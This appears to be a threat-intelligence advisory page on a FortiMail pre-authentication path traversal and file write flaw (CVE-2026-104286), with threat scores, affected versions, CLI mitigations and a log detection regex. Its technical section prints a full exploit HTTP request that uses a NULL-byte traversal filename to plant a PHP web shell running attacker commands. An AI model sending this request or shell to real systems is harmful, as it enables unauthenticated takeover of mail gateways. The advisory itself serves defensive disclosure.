Skip to content

CVE-2026-104286: Fortinet FortiMail Pre-Auth Path Traversal & Arbitrary File Write RCE

Density:
HERMES

HERMES THREAT SCORE & EMAIL GATEWAY EXPOSURE

Target: Fortinet FortiMail Secure Email Gateway โ€” IBE Management Subsystem
Confidence: 99%
98 / 100
CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 20 / 20
Threat Activity 20 / 20
Weaponization 20 / 20
Exposure 19 / 20
Prevalence 19 / 20
Impact 20 / 20
Exploit Maturity 20 / 20
Attack Chain Potential 20 / 20
โš–๏ธ Divergence & Operational Rationale

Fortinet rates this vulnerability at CVSS 9.8 (Critical). The Hermes Threat Score assigns 98 (EXTREME) due to active in-the-wild weaponized exploitation cataloged by CISA KEV on October 1, 2026, under Binding Operational Directive (BOD) 26-04 with an emergency 72-hour remediation window (due October 4, 2026). FortiMail appliances act as the primary secure email gateway (SEG) perimeter inspection barrier for enterprise mail infrastructures. Exploitation requires no privileges or user interaction: unauthenticated remote actors exploit NULL-byte termination in path traversal sanitizers to drop arbitrary web shells directly into web server directories.

๐Ÿ•ธ๏ธ Connected Knowledge Graph & Provenance

CVE-2026-104286: Fortinet FortiMail Pre-Auth Path Traversal & Arbitrary File Write RCEVULNERABILITY

Connected Nodes: 1
Active Relationships (Outgoing)
→ affectsPRODUCTFortinet FortiMail Secure Email Gateway
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

๐Ÿ” Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Fortinet FortiMail Secure Email Gateway documented in Hermes dossier.”

Supporting Verified Evidence:

The flaw resides in the Identity-Based Encryption (IBE) parameter processing service within FortiMailโ€™s web management interface. When handling unauthenticated incoming HTTP requests destined for IBE key exchange and recipient verification, the parsing daemon takes user-controlled file paths without rigorous canonicalization.

By introducing encoded NULL bytes (%00 or \x00), an attacker truncates the extension and path prefix checks enforced by Fortinetโ€™s path validation wrappers:

POST /ibe/download/attachment HTTP/1.1
Host: mail.target-enterprise.com
Content-Type: multipart/form-data; boundary=----HermesBoundary
------HermesBoundary
Content-Disposition: form-data; name="filename"; filename="../../var/webui/portal/shell.php%00.txt"
Content-Type: application/octet-stream
<?php system($_POST['cmd']); ?>
------HermesBoundary--

Because internal C runtime functions treat the NULL byte as a string terminator, the validation checks consider the file safe (ending in .txt), while the operating system filesystem driver writes shell.php directly into the public web root, giving the adversary instant unauthenticated root-level code execution.


Release StreamAffected VersionsFixed ReleaseOperational Remediation
FortiMail 8.08.0.0 through 8.0.18.0.2Upgrade immediately; restart web daemon
FortiMail 7.67.6.0 through 7.6.67.6.7Upgrade immediately
FortiMail 7.47.4.0 through 7.4.87.4.9Upgrade immediately
FortiMail 7.27.2.0 through 7.2.9Migrate to 7.4.9+End of Engineering Support stream; upgrade required

If firmware upgrades cannot be executed within the 72-hour CISA BOD 26-04 window, security teams must disable IBE globally via the FortiMail CLI:

Terminal window
# 1. Connect to FortiMail via SSH or local console
config system global
set ibe disable
end
# 2. Verify external access restriction on administration ports
config system interface
edit "port1"
set allowaccess ping https ssh
unset allowaccess http
next
end

Inspect FortiMail system and HTTP access logs for traversal tokens and suspicious file creations:

  • Audit Target Logs: /var/log/mail.log, /var/log/httpd/access.log.
  • Regex Query: (?:%2e%2e%2f|\.\./)+(?:.*%00)
  • File Integrity Monitor: Audit /var/webui/, /home/admin/, and /tmp/ for recently modified PHP, ELF, or shell script files.